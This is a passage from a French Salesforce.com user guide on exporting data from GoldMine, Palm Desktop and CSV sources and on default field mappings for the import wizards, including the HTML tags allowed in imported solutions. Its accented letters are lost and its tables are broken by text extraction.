5.

Lancez GoldMine 5.0.

Slectionnez Outils Assistant Import/Export Exporter les enregistrements de contact.
Slectionnez Exporter dans un nouveau fichier et Fichier ASCII, puis cliquez sur Suivant.
Slectionnez TOUS les enregistrements de contact ! dans la liste droulante, puis cliquez sur Suivant.
Dans la liste des champs GoldMine situe gauche de la bote de dialogue, slectionnez les champs que vous voulez
exporter, puis cliquez sur Ajouter le champ. Nous vous recommandons de slectionner tous les champs, except le champ
notes. Pour plus d'informations sur l'exportation de notes, reportez-vous Exportation de notes partir de GoldMine
5.0 la page 271.
6. Cliquez sur Suivant.

Gestion des donnes

Guide de l'utilisateur | Cration de fichiers d'exportation pour les assistants d'importation | 271

7. Choisissez le rpertoire dans lequel vous voulez enregistrer le fichier d'exportation, cochez l'option Exporter les noms de
champ GoldMine..., puis cliquez sur Suivant.
8. Choisissez Non lorsque vous tes invit enregistrer ces paramtres, puis cliquez sur Suivant.
9. Cliquez sur Terminer.
10. Une fois l'exportation termine, placez-vous dans le rpertoire contenant le fichier export et modifiez son extension (.txt
au lieu de .csv). Le fichier est maintenant prt pour l'importation dans Salesforce.com.
Exportation de notes partir de GoldMine 5.0
Avant d'importer vos notes GoldMine 5,0 dans Salesforce.com, vous devez importer vos contacts GoldMine 5,0.
Pour exporter des notes partir de GoldMine 5.0, procdez comme suit :
1.
2.
3.
4.
5.

Lancez GoldMine 5.0.

Slectionnez Outils Assistant Import/Export Exporter les enregistrements de contact.
Slectionnez Exporter dans un nouveau fichier et Fichier ASCII, puis cliquez sur Suivant.
Slectionnez TOUS les enregistrements de contact ! dans la liste droulante, puis cliquez sur Suivant.
Dans la liste des champs GoldMine situe gauche de la bote de dialogue, slectionnez les champs socit, nom et
notes, puis cliquez sur Ajouter le champ. Cliquez ensuite sur Suivant.
6. Choisissez le rpertoire dans lequel vous voulez enregistrer le fichier d'exportation, cochez l'option Exporter les noms de
champ GoldMine..., puis cliquez sur Suivant.
7. Choisissez Non lorsque vous tes invit enregistrer ces paramtres, puis cliquez sur Suivant.
8. Cliquez sur Terminer.
9. Une fois l'exportation termine, placez-vous dans le rpertoire contenant le fichier export et modifiez son extension (.txt
au lieu de .csv).
10. Ouvrez le fichier.
11. Si ncessaire, rorganisez le fichier avant de l'importer. Parmi les problmes les plus courants, les notes peuvent tre
fractionnes entre plusieurs colonnes (cela se produit lorsque les notes contiennent des guillemets).

Voir aussi :
Mappage de champs pour d'autres sources de donnes et pour une importation d'organisation

Exportation partir de Palm Desktop

Palm Desktop vous permet d'exporter votre Carnet d'adresses dans un fichier au format CSV (texte dlimit par des virgules)
que vous pouvez ensuite importer.
1. Ouvrez le Carnet d'adresses de Palm Desktop. Si vous ne voulez exporter que certains contacts, slectionnez les
enregistrements correspondants.
2. Slectionnez Exporter dans le menu Fichier.
3. Dans la bote de dialogue Exporter sous, saisissez le nom du fichier et spcifiez son emplacement. Dans la liste droulante
Type, choisissez Spar par virgule (*.csv ; *.txt). Slectionnez la plage d'enregistrements exporter, Tous ou
Enregistrements slectionns.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

4. Cliquez sur Exporter.

Gestion des donnes

Guide de l'utilisateur | Cration de fichiers d'exportation pour les assistants d'importation | 272

5. Dans la bote de dialogue Choix des champs exporter, slectionnez les champs de carnet d'adresses que vous dsirez
exporter et cliquez sur OK.

Voir aussi :
Mappage de champs pour d'autres sources de donnes et pour une importation d'organisation

Exportation partir d'autres sources de donnes

Vous pouvez importer des donnes dans le systme partir de toute application capable de gnrer des fichiers au format CSV
(valeurs spares par des virgules).
1. Enregistrez votre source de donnes sous forme de fichier CSV.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

2. Vrifiez que votre fichier ne contient qu'un nom par champ. Le systme ne gre pas les champs contenant plusieurs noms.
3. Vrifiez que les noms et les fonctions sont stocks dans deux champs distincts de votre fichier. Le systme n'accepte pas
les champs contenant la fois un nom et une fonction.
4. Vrifiez que votre fichier contient un seul numro de tlphone par champ.

Voir aussi :
Mappage de champs pour d'autres sources de donnes et pour une importation d'organisation

Exportation depuis Salesforce.com

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Exportez des rapports sur les comptes, les contacts, les objets personnaliss, les pistes ou les solutions depuis Salesforce.com
afin de crer un fichier d'importation destin aux assistants d'importation. Vous devez inclure la valeur ID de compte, ID
du contact, ID d'objet personnalis, ID de la piste ou ID de solution de chaque enregistrement de votre
rapport. Ces champs sont uniques dans Salesforce.com et servent faire correspondre exactement vos donnes aux enregistrements
Salesforce.com.
Pour crer un fichier d'importation avec ces champs d'ID, commencez par exporter les donnes depuis Salesforce.com.
1. Excutez un rapport sur les comptes, les contacts, les objets personnaliss, les pistes ou les solutions dans Salesforce.com,
insrez le champ d'ID correspondant et exportez-le vers Excel.
2. Si vous exportez la fois des pistes et des contacts cibler dans une campagne :
a. Dans Excel, fusionnez les rapports exports dans un fichier CSV (valeurs spares par des virgules). Vrifiez que tous
les ID se trouvent dans la mme colonne.

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 273

Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

b. Renommez la colonne ID de piste/ID de contact en ID d'enregistrement.

c. Ajoutez une colonne nomme Statut, puis indiquez le statut de membre de campagne de chaque contact ou piste.

Voir aussi :
Importation de membres de campagne

Prparation des donnes importer

Disponible avec : Toutes les ditions

Une fois les donnes exportes de Salesforce.com ou de l'application existante (reportez-vous Cration de fichiers d'exportation
pour les assistants d'importation la page 266), prparez les donnes avant de les importer.
Prparation de contacts
Si vous importez des donnes d'ACT! ou d'Outlook, l'assistant Importer mes contacts fait automatiquement correspondre
les champs ACT! et Outlook avec ceux de Salesforce.com. Reportez-vous Mappage par dfaut des champs pour ACT!
la page 275 et Mappage par dfaut des champs pour Outlook la page 278.
Lorsque vous ralisez une importation partir d'autres sources de donnes, vous devez utiliser Excel pour nommer les
colonnes du fichier d'importation, comme indiqu dans Mappage de champs pour d'autres sources de donnes et pour
une importation d'organisation la page 280.
Prparation de Comptes personnels
Lors de l'importation de comptes personnels, utilisez les tiquettes de champ de Salesforce.com comme tiquettes de
colonne dans votre fichier d'importation.
Prparation du compte professionnel et des contacts de l'organisation
Lorsque vous importez des comptes professionnels et des contacts pour votre entreprise, vous devez utiliser Excel pour
nommer les colonnes du fichier d'importation conformment la rubrique Mappage de champs pour d'autres sources
de donnes et pour une importation d'organisation la page 280.
Prparation des pistes de l'organisation
Lors de l'importation de pistes gnrales ou de pistes de campagne, utilisez les tiquettes du fichier d'importation
conformment la rubrique Mappage des champs pour l'importation des pistes la page 285.
Prparation d'objets personnaliss
Lors de l'importation d'un objet personnalis, utilisez les tiquettes de champ indiques dans la page de dtails de l'objet
personnalis de Salesforce.com comme tiquettes de colonne du fichier d'importation.

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 274

Prparation de solutions
Lors de l'importation de fichiers, utilisez les tiquettes de champ de Salesforce.com comme tiquettes de colonne dans
votre fichier d'importation.
Vous pouvez saisir des donnes HTML dans les solutions que vous souhaitez importer dans Salesforce.com.Toutefois,
si votre entreprise n'a pas activ les solutions HTML, les balises HTML s'affichent dans les solutions une fois ces
dernires importes. Pour plus d'informations, reportez-vous Prsentation des solutions HTML la page 1925.
Pour des raisons de scurit, Salesforce.com filtre automatiquement toutes les solutions HTML pour dtecter du
contenu HTML potentiellement malveillant. Si du contenu HTML potentiellement malveillant est dtect dans une
solution HTML, il est automatiquement supprim ou transform en texte pour les utilisateurs qui affichent la
solution HTML. Les utilisateurs ne se rendront pas compte de la suppression de contenu HTML potentiellement
malveillant d'une solution HTML.
Vous pouvez importer des solutions crites au format HTML dans Salesforce.com. Toutefois, pour des raisons de scurit,
seules les balises HTML rpertories ci-aprs sont autorises. Le contenu de toutes les balises HTML non rpertories
ci-aprs est automatiquement supprim une fois enregistr dans les solutions HTML. De plus, le contenu de toutes les
balises <script> et <iframe>, ainsi que de toutes les balises JavaScript, est automatiquement converti en texte
lorsqu'elles sont enregistres dans les solutions HTML. En outre, les feuilles de style en cascade (CSS) ne sont pas prises
en charge dans les solutions HTML.
Les balises HTML suivantes sont autorises dans les solutions HTML importes dans Salesforce.com :
<a>

<dt>

<q>

<abbr>

<em>

<samp>

<acronym>

<font>

<small>

<address>

<h1>

<span>

<b>

<h2>

<strike>

<bdo>

<h3>

<strong>

<big>

<h4>

<sub>

<blockquote>

<h5>

<sup>

<br>

<h6>

<table>

<caption>

<hr>

<tbody>

<cite>

<i>

<td>

<code>

<img>

<tfoot>

<col>

<ins>

<th>

<colgroup>

<kbd>

<thead>

<dd>

<li>

<tr>

<del>

<ol>

<tt>

<dfn>

<p>

<ul>

<div>

<pre>

<var>

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 275

<dl>

Dans les balises ci-dessus, vous pouvez inclure les attributs suivants :
alt

face

taille

background

height

src

border

href

style

colspan

rowspan

width

Les attributs ci-dessus, qui peuvent comprendre une URL, se limitent aux URL qui commencent par les lments
suivants :

http:
https:
file:
ftp:
mailto:
/ pour les liens relatifs

Remarque: Si certaines de vos donnes proviennent de champs qui ne correspondent aucun des champs standard,
votre administrateur peut crer des champs personnaliss avant l'importation pour inclure ces donnes.
Les champs universellement requis doivent tre inclus dans les fichiers d'importation pour viter l'chec de l'importation.
Pour plus d'informations, reportez-vous propos des champs universellement requis la page 468.

Voir aussi :
Cration de fichiers d'exportation pour les assistants d'importation
Accs aux assistants d'importation

Mappage par dfaut des champs pour ACT!

Disponible avec : Toutes les ditions

Ce tableau indique comment les champs ACT! sont mapps dans les champs d'importation de comptes et de contacts
Salesforce.com au cours d'une importation de donnes individuelles.
Remarque: Si un enregistrement ACT! contient plusieurs contacts pour la mme socit, l'assistant d'importation
cre plusieurs contacts pour un mme compte.

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 276

ACT! Champ

Champ d'importation

Adresse 1

Contact : Adresse postale et

Compte : Adresse de facturation

Adresse 2

Contact : Adresse postale et

Compte : Adresse de facturation

Adresse 3

Contact : Adresse postale et

Compte : Adresse de facturation

Autre tlphone

Contact : Autre tlphone

Autre poste

Contact : Autre poste du N tlphone

Assistant

Contact : Nom de l'assistant(e)

Asst. Tlphone

Contact : Asst. Tlphone

Poste tl. asst.

Contact : Asst. Poste Tlphone

Ville

Contact : Ville et
Compte : Facturation - Ville

Socit

Compte : Nom

Contact

Contact : Nom complet

Pays

Contact : Pays et
Compte : Facturation - Pays

Dpartement

Contact : Dpartement

Connexion e-mail

Contact : E-mail

(L'assistant d'importation vrifie que le format de cette adresse

e-mail est correct : jdupont@societe.com)
Tlcopie

Contact : Tlcopie et
Compte : Tlcopie

Poste Tlcopie

Contact : Poste tlcopie (bureau)

Prnom

Contact : Prnom

Adresse du domicile 1

Contact : Autre adresse 1

Adresse du domicile 2

Contact : Autre adresse 2

Adresse du domicile 3

Contact : Autre adresse 3

Ville (domicile)

Contact : Autre ville

Pays (domicile)

Contact : Autre pays

Tlphone (domicile)

Contact : Tlphone (domicile)

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 277

ACT! Champ

Champ d'importation

tat (domicile)

Contact : Autre tat

Code postal du domicile

Contact : Autre code postal

ID/Statut

Compte : Type

Nom

Contact : Nom

Tlphone mobile

Contact : Tlphone mobile

Remarque

Ne pas importer

Tlphone

Contact : Tlphone et
Compte : Tlphone

Poste Tlphone

Contact : Poste tlphone (bureau)

Recommand par

Contact : Origine de la piste

Chiffre d'affaires

Compte : Chiffre d'affaires annuel

Dpartement/Rgion

Contact : tat (courrier) et

Compte : Facturation - tat

Symbole

Compte : Symbole

Titre

Contact : Titre

Site Web

Compte : Site Web

Code postal

Contact : Code postal

Compte : Code postal (facturation)

2me contact

2me contact : Nom

2me tlphone

2me contact : Tlphone

2me poste

2me contact : Poste Tlphone

2me fonction

2me contact : Titre

3me contact

3me contact : Nom

3me tlphone

3me contact : Tlphone

3me poste

3me contact : Poste Tlphone

3me fonction

3me contact : Titre

2me dernier contact, 3me dernier contact,

Fonction de l'assistant, Dernire tentative,
Dernier rendez-vous, Dernire communication,
Derniers rsultats, Date de la lettre, Pager,
Conjoint, Utilisateur 1-15

Contact : Note ou Compte : Remarque

(Dans Professional Edition, Enterprise Edition, Unlimited
Edition ou Developer Edition, vous indiquez les champs
importer dans une seule note sur un contact ou sur un compte.

Gestion des donnes

ACT! Champ

Guide de l'utilisateur | Prparation des donnes importer | 278

Champ d'importation
Des notes distinctes ne sont pas cres pour chaque champ
ACT!).

Voir aussi :
Exportation partir de ACT!

Mappage par dfaut des champs pour Outlook

Disponible avec : Toutes les ditions

Ce tableau indique comment les champs Outlook sont mapps aux champs d'importation de comptes et de contacts
Salesforce.com au cours d'une importation de donnes individuelles.
Champ Outlook

Champ d'importation

Nom de l'assistant(e)

Contact : Nom de l'assistant(e)

Tlphone de l'assistant(e)

Contact : N de tlphone de l'asst

Date de naissance

Contact : Date d'anniversaire

Ville (bureau)

Contact : Ville et
Compte : Facturation - Ville

Pays (bureau)

Contact : Pays et
Compte : Facturation - Pays

Tlcopie (bureau)

Contact : Tlcopie et
Compte : Tlcopie

Tlphone (bureau)

Contact : Tlphone

Code postal (bureau)

Contact : Code postal

Compte : Code postal (facturation)

Rue (bureau)

Contact : Adresse postale et

Compte : Adresse de facturation

Rue (bureau) 2

Contact : Adresse postale et

Compte : Adresse de facturation

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 279

Champ Outlook

Champ d'importation

Rue (bureau) 3

Contact : Adresse postale et

Compte : Adresse de facturation

Socit

Compte : Nom du compte et

Contact : Compte

Tlphone socit

Compte : Tlphone

Dpartement

Contact : Dpartement

E-mail

Contact : E-mail

(L'assistant d'importation vrifie que le format de cette adresse

e-mail est correct : jdupont@societe.com)
Prnom

Contact : Prnom

Ville (domicile)

Contact : Autre ville

Pays (domicile)

Contact : Autre pays

Tlphone (domicile)

Contact : Tlphone (domicile)

Code postal (domicile)

Contact : Autre code postal

Rue (domicile)

Contact : Autre adresse

Rue (domicile) 2

Contact : Autre adresse

Rue (domicile) 3

Contact : Autre adresse

Fonction

Contact : Titre

Nom

Contact : Nom

Nom du responsable

Contact : Rattachement hirarchique

(En outre, si le nom contenu dans ce champ ne correspond
pas un contact existant, un nouveau contact portant le nom
du responsable sera cr.)

Tlphone mobile

Contact : Tlphone mobile

Remarques

Contact : Description

Autre tlphone

Contact : Autre tlphone

Recommand par

Contact : Origine de la piste

Titre

Contact : Civilit

Page Web

Compte : Site Web

Compte, Anniversaire, Informations facturation, Contact : Note ou Compte : Remarque

Tlphone (bureau) 2, Rappel, Tlphone
(Dans Professional Edition, Enterprise Edition, Unlimited
(voiture), Catgories, Enfants, Serveur
Edition ou Developer Edition, vous indiquez les champs
d'annuaire, Adresse e-mail 2, Adresse e-mail 3,

importer dans une seule note sur un contact ou sur un compte.

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 280

Champ Outlook

Champ d'importation

Code gouvernement, Passe-temps, Tlcopie

Des notes distinctes ne sont pas cres pour chaque champ
(domicile), Tlphone (domicile) 2,
Outlook.)
Disponibilit sur Internet, RNIS, Mots-cls,
Langue, Emplacement, Deuxime prnom,
Kilomtrage, Bureau, Numro d'identification
de l'organisation, Autre ville, Autre pays, Autre
tlcopie, Autre code postal, Autre tat, Autre
rue, Autre rue 2, Autre rue 3, Radiomessagerie,
B.P., Tlphone principal, Profession, Radio
tlphone, poux/pouse, Suffixe, Tlex, Tlphone
TTY/TDD, Utilisateur 1, Utilisateur 2,
Utilisateur 3, Utilisateur 4

Voir aussi :
Exportation partir d'Outlook

Mappage de champs pour d'autres sources de donnes et pour une

importation d'organisation
Disponible avec : Toutes les ditions
L'importation de l'organisation n'est pas disponible dans : Personal Edition

Si vous importez des comptes et des contacts dans votre organisation, ou des donnes individuelles partir de sources autres
que Outlook ou ACT!, les assistants importation mappent les champs de manire aussi correcte que possible. Vous devez
ajuster le mappage avant d'excuter l'importation. Avant d'importer les donnes, Salesforce.com recommande d'utiliser Excel
pour libeller les colonnes dans votre fichier d'importation comme indiqu ci-dessous.
Remarque: Les mappages par dfaut lists ci-aprs sont fournis pour vous aider effectuer l'importation. Ils ne
garantissent pas une prcision absolue dans le mappage de vos donnes. Vous devez ajuster le mappage propos par
les assistants d'importation. Rappelez-vous que vous pouvez mapper le mme champ plusieurs fois si ncessaire, par
exemple pour les champs d'adresse du compte et du contact.
Champs communs aux contacts et aux comptes
Libell pour le fichier d'importation
Responsable de l'enregistrement

Champ Salesforce.com
Contact : Responsable de l'enregistrement et

(Remarque : Ce champ n'est pas ncessaire pour les

Compte : Responsable du compte
importations individuelles car, dans ce cas, toutes les donnes
importes vous appartiennent automatiquement. En outre,

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 281

Champs communs aux contacts et aux comptes

Libell pour le fichier d'importation

Champ Salesforce.com

lors de l'importation d'enregistrements par ID d'enregistrement

Salesforce.com, ce champ n'est pas pris en compte).
Contact : Devise du contact et

Code ISO de la devise

(Remarque : Ce champ ne sert que pour les importations

Compte : Devise du compte
d'entreprises, dans le cas o ces dernires utilisent plusieurs
devises. Pour plus d'informations, reportez-vous Importation
de plusieurs devises la page 265.

Champs de contact
Libell pour le fichier d'importation

Champ Salesforce.com

Assistant

Contact : Assistant

Asst. Tlphone

Contact : Asst. Tlphone

Asst. Poste Tlphone

Suffixe du contact : Asst. Tlphone

Date d'anniversaire

Contact : Date d'anniversaire

Tlcopie (bureau)

Contact : Tlcopie

Poste tlcopie (bureau)

Suffixe du contact : Tlcopie

Tlphone (bureau)

Contact : Tlphone

Poste tlphone (bureau)

Suffixe du contact : Tlphone

Description du contact

Contact : Description

Nom complet du contact ou

Contact : Prnom et

Prnom et Nom

Contact : Nom

(Remarque : Lors de l'importation des noms de contacts,

utilisez soit le Nom complet du contact ou le Prnom
et le Nom, mais pas les deux).
ID du contact

Contact : ID du contact

(Remarque : Les ID d'enregistrement respectent la casse et

ne doivent pas tre modifis.)
Note sur le contact

Cre une note rattache au contact

Dpartement

Contact : Dpartement

Adresse e-mail

Contact : E-mail

(Remarque : L'assistant d'importation vrifie que le format de

cette adresse e-mail est correct : jdupont@societe.com.

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 282

Champs de contact
Libell pour le fichier d'importation
Dsinscription d'adresse e-mail

Champ Salesforce.com
Contact : Dsinscription d'adresse e-mail

(Remarque : Utilisez 1 pour indiquer que l'utilisateur se

dsinscrit et 0 pour indiquer qu'il souhaite recevoir les
messages.
Tlphone (domicile)

Contact : Tlphone (domicile)

Poste de tlphone (domicile)

Suffixe du contact : Tlphone (domicile)

Origine de la piste

Contact : Origine de la piste

Ville

Contact : Ville

Pays

Contact : Pays

Code postal

Contact : Code postal (courrier)

tat

Contact : Dpartement/Rgion (courrier)

Rue (courrier) 1

Contact : Adresse postale

Rue (courrier) 2

Contact : Adresse postale

Rue (courrier) 3

Contact : Adresse postale

Tlphone mobile

Contact : Mobile

Poste du N tl. mobile

Suffixe du contact : Mobile

Autre ville

Contact : Autre ville

Autre pays

Contact : Autre pays

Autre tlphone

Contact : Autre tlphone

Autre poste du N tlphone

Suffixe du contact : Autre tlphone

Autre code postal

Contact : Autre code postal

Autre tat

Contact : Autre dpartement/rgion

Autre rue 1

Contact : Autre adresse

Autre rue 2

Contact : Autre adresse

Autre rue 3

Contact : Autre adresse

Rattachement hirarchique

Contact : Rattachement hirarchique

(Remarque : Si l'assistant d'importation ne trouve pas de

contact correspondant au nom contenu dans ce champ, il cre
un nouveau contact et utilise cette valeur pour Contact :
Prnom et Nom).
Civilit

Prfixe du contact : Prnom

Titre

Contact : Titre

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 283

Champs de contact
Libell pour le fichier d'importation

Champ Salesforce.com

2me contact

Dcompos en Contact : Prnom et Nom d'un second contact

pour le compte

2me tlphone

Contact : Tlphone d'un second contact pour le compte

2me poste

Suffixe du contact : Tlphone d'un second contact pour le

compte

2me fonction

Contact : Fonction d'un second contact pour le compte

3me contact

Dcompos en Contact : Prnom et Nom d'un troisime

contact pour le compte

3me tlphone

Contact : Tlphone d'un troisime contact pour le compte

3me poste

Suffixe du contact : Tlphone d'un troisime contact pour

le compte

3me fonction

Contact : Fonction d'un troisime contact pour le compte

Champs de compte
Libell pour le fichier d'importation

Champ Salesforce.com

Description du compte

Compte : Description

Service comptabilit

Compte : Service comptabilit

(Remarque : Vous n'avez pas besoin de remplir ce champ si

vous dcidez d'attribuer le service via la liste droulante
propose l'tape 1 de l'assistant d'importation. Si vous ne
mappez pas ce champ ou si vous n'utilisez pas la liste
droulante des services, chaque enregistrement adopte
automatiquement le service par dfaut de son responsable.)
N de tlcopie du compte

Compte : Tlcopie

Poste de tlcopie du compte

Suffixe du compte : Tlcopie

ID du compte

Compte : ID du compte

(Remarque : Les ID d'enregistrement respectent la casse et

ne doivent pas tre modifis.)
Nom du compte

Compte : Nom du compte et

Contact : Compte

Note sur le compte

Cre une note rattache au compte

Numro du compte

Compte : Numro du compte

N de tlphone du compte

Compte : Tlphone

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 284

Champs de compte
Libell pour le fichier d'importation

Champ Salesforce.com

Poste du N de tlphone du compte

Suffixe du compte : Tlphone

Site du compte

Compte : Site du compte

Type de compte

Compte : Type

Facturation - Ville

Compte : Facturation - Ville

Facturation - Pays

Compte : Facturation - Pays

Code postal (facturation)

Compte : Facturation - Code postal

Facturation - tat

Compte : Facturation Dpartement/Rgion

Rue (facturation) 1

Compte : Adresse de facturation

Rue (facturation) 2

Compte : Adresse de facturation

Rue (facturation) 3

Compte : Adresse de facturation

Employs

Compte : Employs

Secteur d'activit

Compte : Secteur d'activit

Responsabilit

Compte : Responsabilit

Compte principal

Compte : Compte principal

(Remarque : Si l'assistant d'importation ne trouve pas de

compte qui corresponde au nom du compte principal, il cre
un nouveau compte et utilise cette valeur comme Nom du
compte).
Site du compte principal

Compte : Site du compte

(Remarque : Indique la valeur de site du Compte principal. (Remarque : Correspond au champ Site du compte du
compte parent.
Cote

Compte : Cote

Chiffre d'affaires

Compte : Chiffre d'affaires annuel

Expdition - Ville

Compte : Expdition - Ville

Expdition - Pays

Compte : Expdition - Pays

Code postal (expdition)

Compte : Expdition - Code postal

Expdition - tat

Compte : Expdition Dpartement/Rgion

Rue (expdition) 1

Compte : Adresse d'expdition

Rue (expdition) 2

Compte : Adresse d'expdition

Rue (expdition) 3

Compte : Adresse d'expdition

Code APE

Compte : Code APE

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 285

Champs de compte
Libell pour le fichier d'importation

Champ Salesforce.com

Symbole

Compte : Symbole

Site Web

Compte : Site Web

Mappage des champs pour l'importation des pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Lorsque vous importez des pistes, l'assistant Importer Mes pistes d'organisation et l'assistant Importation de pistes de campagne
mappent les champs aussi correctement que possible dans le fichier d'importation, mais vous devez ajuster le mappage avant
de procder l'importation. Avant d'importer les pistes, il est recommand d'utiliser Excel pour libeller les colonnes dans votre
fichier d'importation de pistes comme indiqu dans le tableau ci-dessous.
Remarque: Les mappages par dfaut lists ci-aprs sont fournis pour vous aider effectuer l'importation. Ils ne
garantissent pas une prcision absolue dans le mappage de vos donnes. Vous devez ajuster le mappage propos par
l'assistant d'importation.
Libell pour le fichier d'importation

Champ de piste Salesforce.com

Chiffre d'affaires annuel

Chiffre d'affaires annuel

Ville

Ville

Socit

Socit

Pays

Pays

Code ISO de la devise

Devise de la piste

(Remarque : Ce champ ne sert que pour les entreprises utilisant

plusieurs devises. Reportez-vous Importation de plusieurs
devises la page 265.)
Description
E-mail

Description
E-mail

(L'assistant d'importation vrifie que le format de cette adresse

e-mail est correct : jdupont@societe.com)
Dsinscription d'adresse e-mail

Dsinscription d'adresse e-mail

(Utilisez 1 pour indiquer que l'utilisateur se dsinscrit et 0

pour indiquer qu'il souhaite recevoir les messages.)
Nombre d'employs

Nombre d'employs

Gestion des donnes

Guide de l'utilisateur | Prparation des donnes importer | 286

Libell pour le fichier d'importation

Tlcopie
Nom complet ouPrnom & Nom

Champ de piste Salesforce.com

Tlcopie
Prnom et Nom

(Remarque : Lors de l'importation des noms de pistes, utilisez

soit le Nom complet ou le Prnom et le Nom, mais pas les
deux).
Secteur d'activit
Service des pistes

Secteur d'activit
Service des pistes

(Remarque : Vous n'avez pas besoin de remplir ce champ si

vous dcidez d'attribuer le service via la liste droulante
propose l'tape 1 de l'assistant d'importation. Si vous ne
mappez pas ce champ ou si vous n'utilisez pas la liste
droulante des services, chaque enregistrement adopte
automatiquement le service par dfaut de son responsable.)
ID de la piste

ID de la piste

(Remarque : Les ID d'enregistrement respectent la casse et

ne doivent pas tre modifis.)
Origine de la piste

Origine de la piste

(Remarque : Vous n'avez pas besoin de renseigner ce champ

si vous dcidez d'attribuer la mme origine de la piste
toutes les pistes sur la premire page de l'assistant
d'importation).
Statut de la piste

Statut de la piste

Tlphone mobile

Mobile

Tlphone

Tlphone

Code postal

Code postal

Cote

Cote

Responsable de l'enregistrement

Responsable de la piste

(Remarque : Vous n'avez pas besoin de ce champ si

l'attribution du responsable s'effectue l'aide d'une rgle
d'attribution de piste. En outre, lors de l'importation
d'enregistrements par ID d'enregistrement Salesforce.com, ce
champ n'est pas pris en compte).
Civilit

Ajoute avant le Prnom

Dpartement/Rgion

Dpartement/Rgion

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 287

Libell pour le fichier d'importation

Statut

Champ de piste Salesforce.com

Statut

(Pour l'assistant Importation de pistes de campagne seulement) (dans la liste Historique de la campagne associe une piste)
Rue 1

Adresse

Rue 2

Adresse

Rue 3

Adresse

Titre

Titre

Site Web

Site Web

Remarque:
Si vous incluez des types d'enregistrement dans cette liste, l'assistant Importation utilise le type d'enregistrement par
dfaut du responsable de l'enregistrement lors de la cration de nouveaux enregistrements. Pour les enregistrements
existants, l'assistant Importation n'actualise pas le champ Type d'enregistrement.
Si vous choisissez d'utiliser des rgles d'attribution, l'assistant Importation utilise le type d'enregistrement par dfaut
du nouveau responsable pour la cration de nouveaux enregistrements. Si les rgles d'attribution affectent l'enregistrement
une file d'attente, le type d'enregistrement par dfaut du responsable de la file d'attente est utilis.

Voir aussi :
Importer mes pistes d'organisation

Accs aux assistants d'importation

Pour les enregistrements dont vous tes responsable
Pour accder aux assistants d'importation des enregistrements dont vous tes personnellement responsable, cliquez sur
Configuration Importation :

Importer mes contacts

Importer mes comptes personnels

Pour les enregistrements de votre entreprise

Pour accder aux assistants d'importation des donnes de l'entreprise, cliquez sur Configuration Gestion des donnes :

Importer les comptes et les contacts de mon entreprise

Importer les comptes personnels de mon organisation
Importer mes pistes d'organisation
Importer les solutions de mon organisation
Importer les objets personnaliss de mon organisation

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 288

Pour les membres de campagne

Pour accder aux assistants d'importation de campagne, affichez une campagne et cliquez sur Grer les membres. Cliquez
ensuite sur le lien appropri :

Ajouter des membres Fichier d'importation (Assistant Importation de piste)

Mettre jour et ajouter des membres Fichier d'importation (Assistant de mise jour de campagne)

Voir aussi :
Prsentation de l'importation
FAQ : Importation

Importer mes contacts

Disponible avec : Toutes les ditions

Avec l'assistant Importer mes contacts, tout utilisateur peut importer jusqu' 500 contacts personnels et comptes professionnels
associs. Commencez par vous assurer que vous avez cr un fichier d'exportation (reportez-vous Cration de fichiers
d'exportation pour les assistants d'importation la page 266) et correctement prpar les donnes (reportez-vous Prparation
des donnes importer la page 273).
Remarque: Nous vous recommandons de commencer par importer un fichier test de taille rduite afin de vrifier la
bonne prparation du fichier d'importation.
1. Dmarrez l'assistant.
Cliquez sur Configuration Importation Importer mes comptes et contacts, puis sur Lancez l'assistant d'importation.
Vous pouvez galement cliquer sur le lien Importer mes comptes et contacts dans la zone Outils de la page d'accueil des
comptes. Notez que les tiquettes des contacts et des comptes professionnels peuvent avoir t renommes par votre
administrateur, auquel cas les liens d'importation peuvent contenir du texte personnalis.
2. Slectionnez l'origine
a. Spcifiez l'application source de vos donnes - ACT!, Outlook ou une autre source de donnes (tout fichier CSV).
b. Cliquez sur Suivant pour continuer.
3. Tlchargez en amont le fichier
a. Cliquez sur Parcourir pour charger votre fichier d'importation.
b. Si vous importez partir d'ACT! ou d'Outlook, cliquez sur Importer maintenant ! ou sur Personnaliser les mappages
afin de vrifier le mappage des champs.
c. Si vous importez partir d'une autre source, slectionnez le codage de caractres du fichier. Le paramtrage par dfaut
convient la plupart des utilisateurs.
d. Faites correspondre vos contacts par nom ou par adresse e-mail. Ce champ permet de dfinir des critres pour viter
les doublons. Par exemple, si vous faites correspondre par l'e-mail et qu'un enregistrement de votre fichier source possde
le mme e-mail qu'un enregistrement dans Salesforce.com, cet enregistrement est mis jour dans Salesforce.com. Si
vous ne faites pas correspondre par l'e-mail et qu'un enregistrement dans Salesforce.com possde le mme e-mail, un
nouvel enregistrement est cr.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 289

e. Cliquez sur Suivant pour continuer.

4. Mappez les champs
a. Sur quatre pages de mappage distinctes, l'assistant associe les noms de champ Salesforce.com ceux du fichier
d'importation. Vous devez vrifier les mappages par dfaut et corriger les ventuels mappages incorrects. Pour plus
d'informations sur les mappages de champ par dfaut, reportez-vous Prparation des donnes importer la page
273.
b. Notez qu'il n'existe pas de champ Responsable de l'enregistrement. Vous tes automatiquement dsign
responsable des donnes que vous importez. Sur la page Mappage des champs de compte, cochez la case Remplacer
